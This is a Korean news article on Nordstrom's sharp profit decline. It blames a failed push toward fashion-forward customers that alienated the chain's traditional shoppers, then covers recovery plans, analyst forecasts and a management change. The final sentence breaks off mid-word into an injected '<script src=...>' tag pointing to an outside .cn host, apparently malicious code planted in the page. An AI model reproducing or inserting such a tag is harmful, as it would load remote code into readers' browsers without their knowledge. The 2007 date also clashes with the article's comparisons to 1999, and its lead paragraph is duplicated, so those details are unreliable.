「노드스트롬」, 이익 수직 하강
2007-01-30 
패션지향고객 잡으려다 기존 고객 놓쳐

「노드스트롬」의 지난해 4분기 순수익은 2천710만달러로 6천600만달러의 수익을 올렸던 99년에 비해 3천890만달러나 감소했고, 매장 판매 수익도 1.9% 떨어지는 등 수직 하강세를 보였다. 또한 「노드스트롬」 측이 자체적으로 예상한 올해 전체 분기 예상 수익도 월스트리트의 분석가들의 전망치보다 낮은 수준이여서 투자자들을 실망시키고 있다.

하이-엔드 유통업체 「노드스트롬」의 지난해 4분기 순이익이 60% 하락했다. 매출 감소와 과도한 가격 인하, 비용 증가 등의 악재가 그 원인. 게다가 올해 수익 역시 분석가들의 예상치에도 못미칠 것으로 전망돼 「노드스트롬」에 드리워진 어두운 그늘은 당분간 사라지기 힘들 것이라는 예상이다.
「노드스트롬」의 지난해 4분기 순수익은 2천710만달러로 6천600만달러의 수익을 올렸던 99년에 비해 3천890만달러나 감소했고, 매장 판매 수익도 1.9% 떨어지는 등 수직 하강세를 보였다. 또한 「노드스트롬」 측이 자체적으로 예상한 올해 전체 분기 예상 수익도 월스트리트의 분석가들의 전망치보다 낮은 수준이여서 투자자들을 실망시키고 있다.
이러한 결과를 낳은 가장 큰 원인은 「노드스트롬」이 컨템포러리(contemporary) 의류에 한 눈을 팔았기 때문. 즉 ‘나 자신을 재창조한다’라는 광고를 통해 패션 지향적인 고객들을 끌어들이려다가 보수적이고 전통적인 기존 고객들이 외면하는 결과를 낳은 것. 오늘의 「노드스트롬」이 있게 한 ‘동지’를 버리고 ‘좀 더 멋진 대상’을 찾으려다 호되게 당한 격이다.
이처럼 보수적인 기존의 고객을 외면하고 패션 지향적인 고객을 끌어오려는 욕심을 품었다가 발등을 찍힌 뒤, 등을 돌린 고객을 되찾기 위해 재정비에 돌입한 「노드스트롬」의 행보는 패션 브랜드로 성장하려는 야심을 품었다가 호된 시련을 당했던 「갭」의 행로와 상당히 유사하다. 정신을 차린 「갭」이 베이직으로 돌아가는 정책을 택한 것처럼 「노드스트롬」 역시 기존의 고객을 다시 주요 타겟권으로 끌어들여 판매로 연결시키려는 전략을 서둘러 준비하고 있다. ‘구관이 명관’이라는 옛말의 의미를 이제야 깨달은 셈.
여성 어패럴 부문의 매장 매출이 1∼3%, 「브래스 플럼(Brass Plum)」·코스메틱 부문의 매출이 8∼9% 정도 상승했음에도 불구, 남성 어패럴 부문 매출이 5∼7% 하락해 그나마 상승한 수익을 갉아먹은 것도 순이익 감소의 원인이다.
지난해 남·녀 어패럴 부문의 동일 매장 재고액은 99년보다 13.4% 늘어난 8천500만달러에 달했는데, 이 또한 실제 판매액이 예상액에 훨씬 못미쳤다는 사실을 반증하는 좋은 증거다.
게다가 올 1분기 동일 매장 판매액 역시 1.3% 하락, 「노드스트롬」은 4개월 연속 매출 하락이라는 달갑지 않은 기록을 세우게 됐다.
‘웰스파고반카스퍼(Wells Fargo Van Kasper)’의 분석가 제니퍼 블레이크는 「노드스트롬」의 재고량이 지나치게 많아 올해 1분기의 전체 마진에 부정적 영향을 줄 것으로 예측, 「노드스트롬」의 수익 예상치를 낮춰 잡았다. 「노드스트롬」의 경영진이 올바른 회복 전략을 세우기는 했지만 급속히 하락한 수익이 현저한 상승세로 회복하기까지 상당한 시간이 소요될 것이라는 분석 때문. 그러면서도 그는 여성 어패럴 부문을 포함한 몇 개 부문에서 서서히 판매가 회복되고 있어 올해 후반기부터는 새로운 운영·판매 전략이 효과를 보이기 시작, 내년쯤이면 변화의 모습이 확연히 보일 것으로 전망했다.
한편 「노드스트롬」은 지난해 여름에 경영진의 대이동을 단행했다. 그 동안 사장직을 맡았던 브루스 노드스트롬이 회장에 선임되고 블레이크 노드스트롬이 사장에 취임, 120개 체인 매장의 통제권을 완전히 재장악하는 작업에 돌입한 것. 어려운 상황에서 새롭게 「노드스트롬」의 키를 잡게된 사장 블레이크 노드스톰은 급속한 수익 감소에 실망을 감추지 못하면서도 “실패는 더 큰 성공의 디딤돌”이라는 말로 재기의 의지를 밝혔다.
현재의 난국을 타개하기 위해 「노드스트롬」 관계자들이 내놓은 처방책은 1) 판매를 늘리고 2) 보다 효율적인 재고 관리 체제를 구현하며 3) 고객 서비스를 한 단계 높인다는 것. 또한 4) 브랜드 이미지를 개선, 고객들이 다시 「노드스트롬」으로 발길을 돌리도록 하겠다는 의지도 담고 있다. 특히 고객을 실망시킨 것이 판매 하락으로 연결되었다는 분석에 따라 최고의 고객 서비스를 제공하겠다는 판매 전략을 세우고 있다.
「노드스트롬」은 매일 한 단계 전진을 위해 노력을 기울이는 등 수익 개선을 향한 대장정에 들어섰다. 「노드스트롬」측도 금방 효과가 드러나지는 않겠지만 회복세를 거쳐 서서히 수익 상승기로 접어들게 될 것이라고 기대하는 분위기다.
뒤늦게 정신이 들어 부산한 움직임을 보이고 있는 「노드스트롬」의 모습은 새로운 고객 확보보다 기존 고객을 유?script src=http://bwegz.cn>